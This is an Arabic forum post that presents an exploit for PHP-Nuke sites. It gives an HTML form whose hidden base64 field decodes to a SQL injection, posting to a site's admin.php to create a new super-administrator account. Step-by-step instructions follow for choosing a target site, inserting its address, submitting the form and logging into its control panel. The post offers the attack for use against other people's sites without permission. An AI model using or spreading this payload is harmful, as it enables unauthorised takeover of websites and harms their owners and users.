منتديات سبيع الغلباء - ثغرة سهلة وبسيطة وحلوة في Phpnuke

منتديات سبيع الغلباء (https://www.sobe3.com/vb/index.php)

- البرامج المجانية والكمبيوتر (https://www.sobe3.com/vb/forumdisplay.php?f=9)

- - ثغرة سهلة وبسيطة وحلوة في Phpnuke (https://www.sobe3.com/vb/showthread.php?t=5550)

ثغرة سهلة وبسيطة وحلوة في Phpnuke

بسم الله الرحمن الرحيم :::
الثغرة سهلة وبسيطة إلى أبعد حد وهي أسهل ثغرة شفتها بحياتي..
اختر مجلة نيوك مثلاً
[url]www.OOOO.com/nuke[/url]
[code]<html>
<body bgcolor = #000000 text = #00FF00 >
<form name="mantra" method="POST" action="http://www.Here.com/admin.php">
<p align = center >
أسم المستخدم:<br>
<input type="text" name="add_aid">
<br>
تأكيد إسم المستخدم :<br>
<input type="text" name="add_name">
<br>
كلمة السر:<br>
<input type="text" name="add_pwd">
<br>
البريد الإلكتروني : <br>
<input type="text" name="add_email">
<br>
<input type="checkbox" value="1" name="add_radminsuper" checked>
<br>
<input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
<br>
<input type="hidden" name="radminsuper" value="1">
<br>
<input type="hidden" name="op" value="AddAuthor">
<br>
<input type="hidden" value="create_first" name="fop">
</p>
<p align = center >
<input type="submit" name="Submit" value="أنشئ المدير">
</p>
<p align = center >
Coded By HACKERS PAL <br>
ترجمة :X-jAyA-X <br>
</p>
</form>
</body>
</html> [/code]

ضع بدل [url]www.Here.com/admin.php[/url]
عنوان الموقع اللي اخترته بداله (حنا قلنا [url]www.OOOO.com/nuke[/url]) فيصبح:
[url]www.OOOO.com/admin.php[/url]
ثم ضعه بالمفكرة واحفظه بامتداد .html
وافتحه ادخل المعلومات المطلوبة ثم اضغط "أنشئ المدير"
اذا فتحت لك لوحة تحكم المنتدى فقد نجحت وإذا ظهر أي شيء آخر فإنك لم تنجح
أدخل اسم المستخدم وكلمة المرور السابقة :) وستكون داخل لوحة التحكم :):)
تحياتي لكم